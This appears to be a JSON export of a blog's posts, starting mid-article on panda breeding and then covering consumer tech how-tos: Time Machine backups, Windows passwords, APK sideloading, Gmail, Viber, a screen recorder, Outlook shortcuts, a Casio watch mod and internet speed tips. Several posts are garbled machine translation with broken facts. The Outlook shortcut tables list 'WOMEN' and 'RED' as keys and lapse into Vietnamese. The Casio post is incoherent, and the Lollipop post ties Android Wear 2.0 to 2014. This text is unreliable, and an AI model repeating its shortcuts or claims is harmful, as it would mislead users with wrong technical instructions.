breeding of the animals in captivity. \"A female Panda has a single estrous cycle once a year, in the spring, for 2 to 7 of those days, and she's only actually fertile for 24 to 36 hours,\" said Pandas International.\u0026nbsp;\nGiant pandas are categorized as vulnerable on the IUCN Red List of Threatened Species. Captive breeding programs have focused on artificial insemination as a way to boost panda numbers.\u0026nbsp;\nNow, we wait. \"The park's veterinary and animal care teams have been closely monitoring the giant pandas' body conditions and behavioral changes, hoping to bring wonderful pregnancy news to you all,\" Ocean Park said on Facebook.\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51ktKqtza1kqZmema60ecinZKGnnpx6rLvNoGSzp59is6q6wKWjsmWdlsGmecCfq56qXaO2r7GMspyaqqNivKd506uwoqaXYq%2Bztc2goKefXZ28sbGMraZmmV2ptbOxwK2cp52UYsCxscKinKw%3D\n","link":"/post/giant-pandas-in-hong-kong-zoo-finally-mate-after-nine-years-of-trying-bringing-hope-to-a-threatened-species/","section":"post","tags":null,"title":"Giant pandas in Hong Kong zoo finally mate after nine years of trying, bringing hope to a threatened species"},{"body":"Google has just confirmed it will release Android 5.0 Lollipop on November 3 in a report for developers.\n  The notice notes developers that Android 5.0 SDK is available to download, test and develop Lollipop apps on Google Play.\nGoogle also confirmed that Android 5.0 Lollipop will be available to users on November 3. The company will update Android 5.0 Lollipop for its devices, including Nexus 9, Nexus 6, Nexus 7 and 10 during the first day of release.\n  Google is also said to be setting up to officially launch Android Wear 2.0, the latest version of the Android wearable device platform on November 3.\nncG1vNJzZmismaXArq3KnmWcp51ktLC7xqWcZpufo7Oqvsyem2asmJp6s7HLnpisnV2ks26tzZ2pqKGUYoJxecuoo6WhoKS9brXNZpyaqpyueq%2B71Z6km52iYn9xfZM%3D\n","link":"/post/google-confirmed-the-release-of-android-5-0-lollipop-in-early-november-2014/","section":"post","tags":null,"title":"Google confirmed the release of Android 5.0 Lollipop in early November 2014"},{"body":"Gone are the days when you had to show your latest vacation or Christmas celebration photos by just flipping the pages of a photo album. Thanks to the digital age, we now have tons of ways to share our most beautiful, thrilling, and heartfelt images. One of the most visually pleasing ways to do that is a video collage on a computer.\u0026nbsp;\n  While the idea of making an intricate animated video sound complicated, it is really not if you break it down. In this article, we'll be looking at the process of making a video collage step-by-step. Let's get rolling.\u0026nbsp;\u0026nbsp;\nStep 1. Choose the Right Tool\nFirst and furthermost, you need to start with choosing the right software. This tool is just as important as a knife for a chef. We suggest using SmartSHOW 3D, a powerful yet easy video collage maker for PC.\u0026nbsp;\nStep 2. Decide on the Project Type\nLike most advanced video collage softwares, SmartSHOW 3D comes with two options for slideshow creation. First, you can go with built-in templates - there are quite a number of predesigned style packs for almost all occasions - from weddings to vacations and birthday celebrations. If you decide to go with a template, all you have to do is to add your pictures to it, pick an accompanying tune - and there, you have a pro-level slideshow. Alternatively, you can opt to create a video collage from scratch. This way you'll have a blank project that you can customize the way you like.\n  Step 3. Add Your Media\nFill your project with your pictures. You can add images of tons of graphic formats, including RAW. Shuffle your photos or put them in a strict order, all depending on your taste. To make your video more dynamic, we suggest using videos as well. Then, make sure to pick the perfect music to accompany your video. You can either use SmartSHOW 3D's massive collection of over 200 royalty-free tracks, or you can go with a song of your own choice. Here's another tip on how to make your video collage even more personal - record voice comments that you can insert into the project to tell some behind-the-scenes anecdotes.\u0026nbsp;\nStep 4. Animate Your Photos\nThis is the step where you decide on how to make your images move. First, you can make use of the software's built-in animated collage templates. Just pick a style, add your images to it and enjoy a dynamic clip. Or better yet - create an animated collage of your own. SmartSHOW 3D is equipped with an easy-to-navigate animation module where you can create your own motion effects with the help of keyframes. Make your photos appear one after another or fly around to form intricate compositions - in this module, you are free to create any animation you like, including 3D camera movements. What's more - once you decide on the animation style, you can spice up your video collage with nature effects, transitions, and animated text.\u0026nbsp;\n  Step 5. Save Your Creation\u0026nbsp;\u0026nbsp;\u0026nbsp;\nOnce you are satisfied with your video collage on Windows, it's time to save it and share with the world. SmartSHOW 3D offers over 30 export formats. You can save your slideshow as a video for TV, tablet, or phone. You can also export it as a video for YouTube or other popular social platforms. There's even an option to burn your video collage to DVD. And there you have it!\nTo be honest, we've just scratched the surface of how useful of a tool SmartSHOW 3D is. Just to be specific, this video collage making software has over 200 gorgeous predesigned templates and packs 400+ animations, transitions, and 3D collage. Apart from that, this program also has features for audio editing like audio points and separate track volume adjustment. So if you wish to turn a heap of your pictures into a dynamic and visually-pleasing video collage, you can't go wrong with SmartSHOW 3D.\u0026nbsp;\nHowever, in case you want to find another tool to make catchy videos, we suggest you check out Video Collage Maker Studio. This is a free program filled with video collage templates, free-to-use music, and even basic video editing tools. If you try it, you might love its user-friendly interface and intuitive workflow. But whichever software you choose for your visual escapades, we wish you to have as much fan making animated collages as possible.\u0026nbsp;\u0026nbsp;\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuimq61sYyapWadqZqwosDCoaCnn12rtqWxzmaaqKSclrSmec6nZKmb\n","link":"/post/how-to-create-an-eye-catching-video-collage-on-pc/","section":"post","tags":null,"title":"How to Create an Eye-Catching Video Collage on PC"},{"body":"The Time Machine tool on macOS is a great way to create data backups. Because Time Machine is an original tool, it integrates perfectly with the operating system. You can set it, forget it, and be assured that Time Machine can recover your system in minutes if something goes wrong.\nHowever, you cannot always forget it. Sometimes you may see an error message that says the backup is too large for the backup drive.\nAt that time, you need to delete some old Time Machine backups to make room for new versions. Let's see how to delete old Time Machine backups on Mac via the following article.\nHow to delete old Time Machine backups on Mac The only way Apple has approved to remove Time Machine backups is to process them through the Time Machine app itself. To delete old backups using Time Machine, use the following instructions:\n1. Connect the backup drive to the computer.\n2. Click the Time Machine icon in the Menu bar and select Enter Time Machine .\nIf you don't see the icon, navigate to System Preferences\u0026gt; Time Machine and check the Show Time Machine box in the menu bar .\n3. Scroll through the backups and select the one you want to delete.\n4. Click the gear icon in the Finder window.\n5. Select Delete Backup . If you want to delete all backups of a selected file, select Delete all backups of X.\n6. Agree to the confirmation on the screen.\n7. Enter the password.\n( Note : If you can't see the gear icon, make sure the Finder is active and go to View\u0026gt; Customize Toolbar in the menu bar to add it.)\nWarning: Do not use Finder to delete Time Machine backups That's all you have to do when you need to manually delete backups. Under normal circumstances, Time Machine will handle this for you, so this is not something you need to do often.\nTheoretically, you can also use Finder to delete old backups. However, you should never do this due to macOS - System Integrity Protection (SIP). This feature prevents you (or software) from damaging important parts of the operating system. Because Time Machine contains system file copies, the SIP feature will try to prevent deletion of its contents.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYyoo51lpJ66pnnMmpqhoZ6aeqOtwqSsqatdpLtuucCc\n","link":"/post/how-to-delete-old-time-machine-backups-on-mac/","section":"post","tags":null,"title":"How to delete old Time Machine backups on Mac"},{"body":"Microsoft encourages PC users to log in to Windows 10 with a Microsoft account instead of a local user account.\nWhy shouldn't a local user account be used? PC users miss out on many features available when using local accounts. For example, the synchronization feature and Find My PC are only available when you sign in with a Microsoft account. For some reason, many users still prefer to use a local user account.\nWhile using the local user account, you may want to change or delete the account password. Sadly, the Settings app , though allowing users to create local user accounts, does not support changing or deleting local user account passwords.\nBecause the Settings app does not allow users to change or delete local account passwords, there is no other option than to use Control Panel to do this.\nFollow the instructions below to change or delete the local account password in Windows 10. And if you want to set a password for the local account, refer to: How to add a password to the local account in Windows 10.\nChange, edit, delete local account passwords in Windows 10 Step 1 : Open the Control Panel.\nStep 2 : Change View by to Small icons . Click User Accounts to open the User Accounts window .\nClick on User Accounts Step 3 : Here, click the Manage another account link , even if you want to change or delete the current account's password.\nStep 4 : Click the name of the local account whose password you want to change or delete. If an account is local, there will be the phrase 'Local Account' just below the account name.\nIf an account is local, there will be the phrase 'Local Account' just below the account name Step 5 : Click the Change the password link . To delete the password, you also click on this link.\nStep 6 : Enter a new password, retype the password, enter a password hint, then click the Save password buttonto change the password.\nEnter the new password, retype the password, enter the password hint If you want to delete the password, leave these fields blank, then click the Save password button .\nNOTE : If changing the password, make sure not to set a weak password. Also, be sure to remember it, especially if you are setting a strong password.\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpyVobK1sYyoqWabmJa7qLGMpaacmZxirqSvzq6lrWWglsC0w86rm2ahnmLEqrrDqK6sZWFl\n","link":"/post/how-to-delete-or-change-local-account-password-in-windows-10/","section":"post","tags":null,"title":"How to delete or change local account password in Windows 10"},{"body":"The installation of Android Apk application on Windows 10 phone helps you unleash discovering playing games and applications for Android devices on your Windows 10 phone.\nNote:\nThis method supports Lumina running Windows 10 Mobile operating system version 10149 or higher: Lumia 920, Lumia 925, Lumia 929 (Lumia Icon), Lumia 830, Lumia 930, Lumia 1520, Lumia 635, Lumia 730, Lumia 820, Lumia 435, Lumia 928.\n  To install Android apps on Windows 10 phones, follow the steps below:\nStep 1: Download the Wconnect Tool.\nDownload the wconnect tool to the device here.\nStep 2: Download the Android SDK adb tool.\nDownload the adb tool kit to your device here.\nStep 3: Proceed to extract the Wconnect Tool file and Android SDK adb tool that you download.\nStep 4: Open the wconnect folder that you unzipped, then find and install IpOverUsbInstaller.msi and vcredit_x86.exe .\nStep 5: On Windows 10 phones, open Settings and select Update \u0026amp; security =\u0026gt; For Developers , enable Developers Mode and Device Discovery.\nStep 6: Find the wconnect folder you unzipped to open Command Prompt (press Shift + Right click and select Open command windows here).\nStep 7: Connect your phone to your computer. There are 2 ways to connect:\n- Connect via USB, enter wconnect.exe usb into Command Prompt window and press Enter.\n- Connect via Wifi, enter wconnect.exe 192.168.xxx.xxx into the Command Prompt window (note, change xxx with your IP address).\nStep 8: Now on the screen you will receive a message asking for the pairing code.Enter the pairing code and press Enter.\nStep 9: Next, extract the Android SDK adb tool file and open Command Prompt.\nStep 10: To make sure your phone is connected, enter the keyword adb devices into the Command prompt window and press Enter to display the list of devices being connected.\nStep 11: Enter the APK file that you want to install to install directly (in the adb directory) and then enter install APKNAME.apk into the adb directory (note: change the name APKNAME with your APK file name).\nRefer to some of the following articles:  How to hide sensitive content on Android and iPhone screens   Instructions for using USB Flash drive with Android device   How to block any phone number on your Android phone  Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqGeqMGiuMtmmKecoqS2pXnAqaJmp55ixKq6w6iurGVhZXqxtM6nnA%3D%3D\n","link":"/post/how-to-install-android-apk-on-windows-10-phone/","section":"post","tags":null,"title":"How to install Android Apk on Windows 10 phone"},{"body":"Gmail is the largest global e-mail service with millions of daily use. At work we can not only use one but must use multiple Gmail accounts at the same time. Invite you to learn how to login multiple Gmail accounts to the computer below!\n  Method 1: Log in to multiple Gmail accounts at the same time by Adding Accounts in Gmail Step 1: You log in your first Gmail account to the computer.\n  Step 2: In the Gmail folder, we click on avatar (1) and select Add account  (2) .\n  Step 3: You login to your next Gmail account.\n  Step 4: Click on the avatar icon (1) and we can switch between Gmail accounts (2) .\n  Method 2: Sign in to multiple Gmail accounts on your computer using incognito tabs or different browsers. On the web browser is now integrated more features Browsing incognito (InPrivate Browsing) allows us to be able to sign the accounts (Gmail, Facebook, forums .) independently without influence.\n  In addition, we can take advantage of different browsers such as (Coc Coc, Microsoft Edge, Chrome, Firefox .) to log in to different Gmail accounts.\n  With instructions to log in multiple Gmail accounts at the same time on 1 computer, we can handle multiple email accounts in one computer. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqSfnHqquoytpmalpaHBqrzLnmSgpZGeuW6twpymrqakqHqiwIytn55lo5a6pnnToqSeZZ%2BjenJ5wqikqa2kmr8%3D\n","link":"/post/how-to-log-in-to-multiple-gmail-accounts-at-the-same-time-on-1-computer/","section":"post","tags":null,"title":"How to log in to multiple Gmail accounts at the same time on 1 computer"},{"body":"Pin messages or message pins on Viber chat group are available for both computer and mobile versions. With this feature, users can notify chat group members of important information, so that everyone can see it without having to notify each person.\nThe message pinning feature of Viber chat group is applicable to all members of the group, not only Admin. Thus, every member who needs to inform important information can pin the message to the top of the Viber chat group. The following article will explain in detail how to read the message on the Viber PC chat group.\nHow to pin messages to chat groups on Viber How to hide, hide the chat content, chat on Viber Instructions to remove, remove members of the Viber chat group How to pin messages on the Viber PC chat group Here we have 2 options for pinning existing messages or pinning new messages.\n1. Pin a message available on Viber Step 1:\nAt the chat interface, right-click on the message you want to pin and then select Pin .\n  Step 2:\nWhen asked if you want to pin this message to the top of the Viber chat group, click Pin to agree.\n  Step 3:\nImmediately we will see the message appear at the top of the chat group so that all members can see it. If you want to unpin the message just press the X icon .\n  Click OK to agree to delete the battery message on the Viber chat group.\n  2. How to create a new message pin Step 1:\nAt the group interface, click the i icon in the upper right corner of the group chat interface, select Pin New Messenger .\n  Step 2:\nEnter the text of the message you want to pin and then press the Pi n button below.\n  Viber will also ask if the user wants to pin this message, press Pin to confirm.\n  Immediately the message you entered in the Pin frame will appear at the top of the Viber chat group as shown below.\n  With the message pin feature on Viber chat group, users can quickly inform important information to all members of the group. We can choose available messages to pin or create new message content to pin on Viber.\nSee more:\nInstructions for calling Video Call with Viber on the phone How to log off Viber accounts remotely on iOS and Android Instructions for sending automatic cancellation messages on Viber I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiZo3qiecarpq6oXZi1osCMppysq5Gcsm67zWatopqVp3qxrw%3D%3D\n","link":"/post/how-to-pin-a-group-chat-message-on-viber-pc/","section":"post","tags":null,"title":"How to pin a group chat message on Viber PC"},{"body":"To record screen video on a computer we can use many software, or applications such as Screen Recorder Pro, for example. Screen Recorder Pro is a UWP application that records videos and screenshots on Windows 10. Screen Recorder Pro's interface is easy to use because the interface is in Vietnamese, so users can easily capture or record good desktop screens. webcam on computer.\nThe app offers a variety of screen video recording options such as full screen recording, selecting any region to video or choosing a gaming screen on a computer. The following article will guide you how to record screen video on Windows 10.\nInstructions for rotating screen, video game using Bandicam software Screen capture tools for GIF screens for Windows 10 Instructions for filming and taking game screen shots in Windows 10 How to record a screen with VLC Media Player? How to record video, take screenshots of Windows 10 Users click on the link below to download the application and proceed with the installation as usual.\nDownload the Screen Recorder Pro Windows 10 application   Below is the main interface of the application.\n  To switch to the Vietnamese language , click on the gear icon in the left toolbar and select the Language section and search for Vietnamese to use.\n  1. Record videos on Screen Recorder Pro Step 1:\nIn order to record videos on the application we first need to set up some necessary content.\nAt the Video source section we select the screen content that we want to choose to record video with different icons.\nOnly Audio: Record video only for audio. Webcam: Record video from webcam screen. Full Screen: Record full screen video Screen: Record video from the selected screen. Window: Record video from the application window screen Region: Record video from a selected area. Desktop Duplication: Video recording game screen. At Video Encoder the user selects the number of frames / sec format, the quality of the video recorded when saving. At Audio select audio recording source.\nThe webcam has the option to turn on and off, preview the captured image from the webcam or choose to save the webcam video into a separate file (Record Webcam to separate file).\nOutput Folder changes the location of file storage. By default, the image or video recorded on the application is saved in the Documents\u0026gt; Captura folder. Click the 3 dot icon to change the save location.\n  Step 2:\nClicking on the gear icon will have the option of Pre Start Countdown to set the backward time before shooting, Capture duration to set the recording time allowed. If you want to add a mouse pointer icon when recording a video, click the Include Cursor icon .\n  Step 3:\nAfter you've selected the content you want to record, click the red circle icon at the top of the screen. The shooting process takes place later. While recording, you can press Pause to pause recording and press Stop to stop recording.\nAt the end of the recording, on the right side of the screen, a pop-up message will appear as shown below. To access the video, click the notification.\n  2. Take screenshots on Screen Recorder Pro Step 1:\nTo take a photo, the user first selects the content of the screen to capture. Next in the Screenshot section, select the action after the capture, such as saving to a folder, or editing images. We can choose multiple actions for the image.\n  In some options users have added frame size adjustment to capture images. Finally press the camera icon to take a picture.\n  Step 2:\nIn the newly edited image interface, we can add strokes, add arrows, adjust brightness or contrast or use filters for images at Filters.\n  If there are image adjustments, click File and choose Save to save.\n  Step 3:\nScreen Recorder Pro images saved by default are JPG, but we can change the saved image format to PNG, GIF, BMP if desired. Click on the gear icon above the right corner and select Screenshot in the list on the left.\nThe Image Format section allows users to select the image format to save.\n  Also at this Configure interface, we can create new shortcuts to record videos or take photos, delete shortcuts already in the Hotkey section. Click Add to add a shortcut and then select the action from the list. Shortcuts you choose. If you want to delete the selected shortcut, press X.\n  All photos and videos taken on Screen Recorder Pro are saved. Click the Recent icon to view the file list. Click Clear to clear the history if desired.\n  Screen Recorder Pro has a very simple way of using, not too complicated. Users just need to select the content to capture the video, then set some content for the output video and the captured image.\nI wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZq2jmnq0r9GenKdlopqwsL7DnqlmqKKkerW7jKucnKeimXq3tcOepmanlmLEqrrDqK6sZWFlerSv0Z6cpw%3D%3D\n","link":"/post/how-to-use-screen-recorder-pro-to-record-video-of-windows-10-screen/","section":"post","tags":null,"title":"How to use Screen Recorder Pro to record video of Windows 10 screen"},{"body":"PC-Koubou recently introduced its latest gaming laptop, called Lesance BTO GSN801GAW. It is equipped with a GeForce GTX 480M graphics card with 2GB VRAM.\n  Lesance BTO GSN801GAW uses an Intel Core i7-740QM processor and i7-940XM Extreme Edition with 4 cores, an 18.4-inch Full HD resolution of 1920x1080 pixels, capable of upgrading to 8GB of DDR3 memory - 1333 MHz, X25-M 160 GB SSD (MLC) is preinstalled with RAID 0 for the operating system and 500GB hard drive for data.\nOther features include Blu-ray drive, 2 Megapixel camera, WiFi 802.11 b / g / n, Gigabit network card, 34 mm expansion slot, 2 USB 3.0 and USB 2.0 ports, eSATA / USB port, DVI port, HDMI and lithium-ion battery. It is pre-installed with Windows 7 Home Premium 32-bit or Professional 64-bit operating system. It measures 439 x 299 x 44 mm and weighs about 5.6 kg. Lesance BTO GSN801GAW will cost from about 3565 USD.\n     ncG1vNJzZmismaXArq3KnmWcp51kuaa%2FwKeanmWSqbxus9Knb2lpl5bEbq2MqaawnaKbwq15y5qnraegYrOwvoygmKadoqg%3D\n","link":"/post/lesance-bto-gsn801gaw-a-powerful-laptop-for-gamers/","section":"post","tags":null,"title":"Lesance BTO GSN801GAW - a powerful laptop for gamers"},{"body":"In these situations, keyboard shortcuts can help users navigate to applications like Outlook quickly and efficiently.\nThis gives users the flexibility to handle all email, regardless of source, with a single set of commands. In this article, let's find out, a list of useful keyboard shortcuts when using Outlook web and Outlook.com.\nKeyboard shortcuts for Outlook on the web To change shortcut settings in the latest versions of Outlook.com and Outlook on the web, sign in to one of those services.\nNext, select Settings (gear icon) \u0026gt; View all Outlook settings \u0026gt; General \u0026gt; Accessibility.\n  In Keyboard Shortcuts, choose your preferred set of shortcuts or turn them off completely. Once you've made your selection, exit the settings screen.\n  Some of the more frequently used keyboard shortcuts for Outlook on the web and Outlook.com are shown in the table below.\n Describe Shortcut keys  Create a new message or calendar event WOMEN  Open the selected message in a new window Shift + Enter  Move messages to Archive folder E   Delete a message or item Delete  Forward messages Ctrl + Shift + F or Shift + F   Go to calendar Ctrl + Shift + 2  Select the option Reply All Ctrl + Shift + R or Shift + RED   Reply an email Ctrl + R or RED   Send an email message Ctrl + Enter   Use search Alt + Q   Formatting and text editing shortcuts (Ctrl + C, Ctrl + V, .) are the same for all Windows and Microsoft products and are familiar to most users, so they are will not be listed here.\nThe following table lists some frequently used keyboard shortcuts in the reading list of Outlook for the web or Outlook.com.\n Describe Shortcut keys   Delete selected message Delete  Mark chat or message as read Ctrl + Q or Q  Mark chat or message as unread Ctrl + U or U  Permanently delete selected messages or items Shift + Delete  Flag a message or mark a flagged message as complete Insert   Cancel search Esc   The following is a list of keyboard shortcuts commonly used when reading messages, emails, or conversations in Outlook for the web or Outlook.com.\n Describe Shortcut keys   Close a new message Esc   Create a new message WOMEN  Forward a selected message Ctrl + Shift + F or Shift + F  Go to the end of a chat or message End or Ctrl + End  Go to the top of a chat or message Home or Ctrl + Home  Scroll down 1 page for chats or messages of 2 or more pages Page down  Move up 1 page for chats or messages of 2 or more pages Page up  Reply to selected message Ctrl + R or RED  Reply to sender and all selected recipients Ctrl + Shift + R or Shift + RED   Send Message Ctrl + Enter   The Calendar is an important part of Outlook and also has its own set of useful keyboard shortcuts, shown in the table below.\n Describe Shortcut keys  Create a new calendar entry WOMEN   Delete selected item Delete   Go to calendar Ctrl + Shift + 2  Skip to the next time period Shift + Right Arrow Key  Jump to previous time period Shift + Phím mũi tên trái   Chuyển đến hôm nay Shift + Alt + Y  Di chuyển đến một vùng khác trong lịch Ctrl + F6  Di chuyển đến sự kiện hoặc khu vực tiếp theo trong chế độ xem hiện tại Tab  Di chuyển đến sự kiện hoặc khu vực trước đó trong chế độ xem hiện tại Shift + Tab   Mở mục đã chọn Enter  Chuyển sang chế độ xem Ngày Shift + Alt + 1  Chuyển sang chế độ xem Tuần Shift + Alt + 3  Chuyển sang chế độ xem Tháng Shift + Alt + 4  Chuyển sang chế độ xem ngày làm việc Shift + Alt + 2  ncG1vNJzZmismaXArq3KnmWcp51kwLa5zJqpsmWfm3q2v8SfrKVlm5rGo7vAq5tmq5ikv7Wv1K2qZq%2BYmrtuwdKipaBlnZ6ws7vSqJ2tZZ%2Bqwa27zqRkqKZdqbWmedaemQ%3D%3D\n","link":"/post/summary-of-useful-keyboard-shortcuts-when-using-microsoft-outlook-on-the-web/","section":"post","tags":null,"title":"Summary of useful keyboard shortcuts when using Microsoft Outlook on the web"},{"body":" 14 extremely \"cool\" inventions will take you to the future Once a disembodied father of most fathers at school and also a favorite of many AI Quaida terrorists, the Casio F-91W watch is an unforgettable memory of the 90s. Today's watch enthusiasts still crave and want to restore it.\nFor example, the YouTuber NODE guy in the integrated video for the Casio F-91W watch has some new and modern features. This YouTuber guy completely removed its \" legendary \" glass and replaced it with a much simpler glass when used only to show time. NODE removed the classic LED by using a brighter, white light. Next, NODE integrated an ntag213 NFC chip into the watch to create a communication method between it and a tablet. He also \" crams \" an SD memory card slot into that Casio F-91W watch to increase data storage capacity.\n  These simple watches are an \"easy\" and popular piece: Many members of Watch Week watchmaker forum say they have reversed the colors on the screen of the Casio F-91W watch. making it look like a negative film, as shown below:\n  Other users said they adjusted the LED light - which is famous for being extremely bad quality on the original watch, with ultra-bright light bulbs at 90-degree angles combining multiple color bands and brightness different.\n  Then turn the Casio F-91W watch into a waterproof watch. In order to achieve this level, they need to put oil on an electronic watch. According to The Watch Site forum member Homocaballus, this makes the watch waterproof when exposed to a humid environment. Olive oil makes it green, while mineral oil has no color.\n    YouTuber Artur Martins tested the \" water resistance \" of his casio F-91W watch , and said it was still completely healthy after going to the coral and swimming with him for the past 3 years.\nHowever, the sad thing here is probably the only electronic device that has not been \" leveled \" to run the legendary Doom shooter.\nRefer to some more articles:\nDIY iPhone runs well with components purchased in China 7 great uses of cork you may not know yet Discover the ideal time to do everything in the day by age Having fun!\nncG1vNJzZmismaXArq3KnmWcp51kwaK3xGaYZqSfpLhurdNmq6GdXaS5pXnCmqqip12auaav06ump6GTYsSiwMKhZLCgmZi1brXSZqSoqpVixKrAx2alnq9dlrulecyom56qnmKzpq3Trqmeqw%3D%3D\n","link":"/post/take-a-look-at-the-old-casio-electronic-watch-which-is-more-with-new-and-modern-features/","section":"post","tags":null,"title":"Take a look at the old Casio electronic watch, which is 'more' with new and modern features!"},{"body":"  Perform a speed test. Before you review your computer's hardware and settings, check your current speed and compare it to the speeds advertised by your service provider. There are many speed test sites out there, you just have to search for 'speed test' with Google and select the top few results.\nDifferent tests will give you different results. Even the same test can give you different results on different tests. It is due to the location of the test servers and the number of people sharing your connection.\nDo multiple tests and find the average speed you get.\nYou may have to download add-ons to be able to test.\nIf given a choice, choose the test server that is physically located closest to you. This will help you get the most accurate results.\n  Compare the results you get with what you're paying for. Check with your carrier for the speeds you 'should' be. Always keep in mind that the ad provider speed is the 'ideal' situation speed, and you're not likely to actually get there.\nIf you haven't upgraded your internet in a long time, you can get better speeds for less money. Companies aren't usually as enthusiastic about informing you of better deals so check to see if the services you didn't have time for are now available. Check with all service providers in your area.\nKnow the difference between megabytes and megabits. Service providers (ISPs) advertise in megabits, not megabytes. There are 8 megabits (Mb) in a megabyte (MB), so if you're paying for 25 megabits per second (Mbps), that's just over 3 megabytes per second (MBps) the actual maximum transfer rate. economic only.\n  Restart your network. Restarting your modem and router equipment should help resolve a lot of network connectivity issues. If your modem or router doesn't have a power switch, you can unplug the power cord, wait 30 seconds, and then plug it back in. See this guide for more details on how to restart your network.\n  Check the signals are not conflicted. If you use a wireless router, make sure it doesn't conflict with a cordless phone or wireless camcorder. Wireless routers come in many varieties: 802.11 b, g, and n (2.4 GHz) or 802.11 a (5.8 GHz). If you use a 2.4 GHz cordless phone and a 2.4 GHz wireless router, your network connection will be slow when the phone is in use. The same goes for wireless security cameras. Check the frequency on your phone and camcorder; if it's 900MHz it's fine. If it is 2.4 GHz or 5.8 GHz, this may be the cause of the slow network when they are used.\n  Check if you have reached your ISP's data threshold. Many service providers set data thresholds for customers that are difficult to discern. Log in to your account page, or contact customer service to see if you've crossed the monthly threshold. Typically, the penalty for exceeding the threshold is the reduced speed for the remainder of the billing period.\n  Call for support from your ISP. Sometimes you experience poor service that can only be fixed from the provider's end. They can often tell if your connection is substandard without having to send a technician to your home. You may be asked to restart the network again.\n  Check all devices in the network. If someone on your network downloads a lot of media files from the internet, such as watching videos or downloading large files, those can also eat up most of your bandwidth.\n  Rearrange the wireless router or computer. If you connect to the internet through a Wi-Fi router, a poor signal can lead to slow speeds and lost connections. Move your router closer to your computer if possible, or move your computer closer to the router or place the router on top of a cabinet for better signal transmission.\nClean dust on your router and modem with a can of compressed air. This will help reduce heat and increase the reliability of the hardware device.\nMaintain ventilation around all electrical equipment to avoid overheating.\n  Check the filters if you use a DSL. With DSL enabled, you'll plug the line from the phone's jack into one side of the rectangular box filter. On the other side, you will have 2 lines going out, 1 for your phone and 1 for your modem. If you're using a DSL connection on a landline, make sure you have high-quality filters on hand for optimal signal speed.\n  Check the weather. If you use satellite internet, your internet connection may be affected by wind, heavy snowfall, rain, lightning, static electricity or other forms of electrical interference.\nOptimizing Your Computer and Network   Perform a virus scan at least once a week. Viruses can significantly reduce your connection speed, as well as jeopardize your information and identity. Keeping your computer virus-free will help you be more efficient in speeding up your connection.\nYou always need to install and activate an anti-virus program, especially if you use the internet. Antivirus programs can be installed for free. You should only have one anti-virus program installed at a time (otherwise they will conflict with each other).\n  Perform regular malware and adware scans. Most anti-virus programs will not scan for adware and spyware. These are potentially dangerous programs and can significantly reduce your connection speed because they frequently connect to other servers. It can be difficult to remove these software, but there are many programs specifically designed to target these invasive programs and remove them. Unlike anti-virus programs, you can and should install a variety of malware prevention programs:\nMalwarebytes Antimalware Spybot Search \u0026amp; Destroy Adw Cleaner HitMan Pro   Remove redundant toolbars. If you install a lot of toolbars for your browser, they can significantly reduce your connection. Removing these toolbars can help speed up your browsing, and can also help protect your privacy.\nSome toolbars can be a bit difficult to remove, and you may need one of the anti-malware programs listed in the previous step.\n  Change browsers. If your old browser is full of toolbars that are hard to remove and everything seems to be running extremely slow, then you will need to consider switching to a new browser. Microsoft Edge, Chrome, and Opera are all said to be noticeably faster than Internet Explorer and Firefox.\n  Clean up your hard drive. A poorly optimized hard drive can slow down your computer, affecting everything you do, including browsing the web. Keeping your hard drive optimized takes only a few minutes and can dramatically improve your browsing experience.\nMake sure your hard drive is defragmented regularly. Most new versions of Windows automate this for you.\nRun the Disk Cleanup utility to clean up temporary files that can slow down your browsing.\nTry to keep the hard drive at least 15% free. If your hard drive is too full, programs will take longer to load and change, which can severely slow down your browser.\n  Optimize your caching. Browsers store data from the websites you visit to make your next visit faster. But if your cache becomes too large, it can really negatively impact your performance.\nSee this guide for how to clear the cache depending on the browser you use.\n  Check which programs are consuming your bandwidth. Often your connection speed is slow because other programs are using it. To check if other programs, such as anti-virus programs or other updates, are accessing the Internet without your knowledge, you will need to open Command Prompt. Press Windows key + R to open the Run box. Type in cmd and press Enter. (Win 7, Start\u0026gt;All programs\u0026gt;Accessories\u0026gt; right click on Command prompt, then select 'Run as Administrator')(\nType netstat -b 5 \u0026gt; activity.txt and then press Enter. You will start to see a list of programs that are accessing the internet. After about a minute, press Ctrl + C to end the scan. This created a file with a list of all the programs that use your Internet connection.\nType activity.txt and then press Enter to open the file and see the list of programs.\n  Close any programs you don't need. Press Ctrl + Alt + Delete simultaneously and open the Task Manager utility. Go to the processes menu and close the processes that might be consuming your valuable bandwidth. (NOTE: Closing processes with unknown filenames may cause your known programs to function improperly).\nLook at the 'User' column in the Processes tab. If the process has a user 'System', closing it may cause other programs to crash, requiring a restart of the computer. If the user is your name, then closing the program will probably cause no problems except with that program. Often the system does not allow closing, or reopening, necessary system programs.\n  Uninstall unnecessary bandwidth consuming programs. If you find bandwidth-hungry programs that you no longer need or don't remember installing, removing them can help improve the bandwidth your browser can access.\n  Change your Wi-Fi channel. If multiple people in the building use the same channel, you may notice a noticeable slowdown in Internet speeds. Use a program like inSSIDer for PC and KisMAC or WiFi Scanner for Mac to scan for unfilled channels. Converting to one of these channels will reduce noise and possibly increase your speed.\nIf you see a more open channel, change the channel to increase Internet speed. You will need to consult your router's documentation or search the support website for your router for how to access the router and change the wireless channel.\n  Upgrade the router's firmware (firmware). Check the manufacturer's website to download the firmware for your router. Compare with the version you have, and upgrade if necessary. Most routers will automatically check for firmware updates when you open their configuration page.\nUpgrade Your Hardware   Upgrade your computer. If your computer is slow, no matter how fast your Internet connection is, everything will slow down too. You can only access the Internet at the speed your PC allows.\nOne of the quickest and easiest computer upgrades you can make to improve your browser's performance is to install more RAM or a better type of RAM in your computer.\n  Router upgrade. If your router is old, it may not be able to keep up with modern web traffic. Older wireless routers also have weaker antennas, which can prevent your devices from getting a good connection to the network. All of these things combined can lead to suboptimal speeds when browsing the web.\nLook for routers from trusted companies like Netgear, D-Link, Cisco, and Belkin. Make sure the included antenna is strong enough to cover wherever you need it.\nIf you want to cover a large area with a wireless network, you may need to install a repeater. This device will rebroadcast your wireless signal in a different area of ​​your home or office, and dramatically increase the range of your wireless network.\n  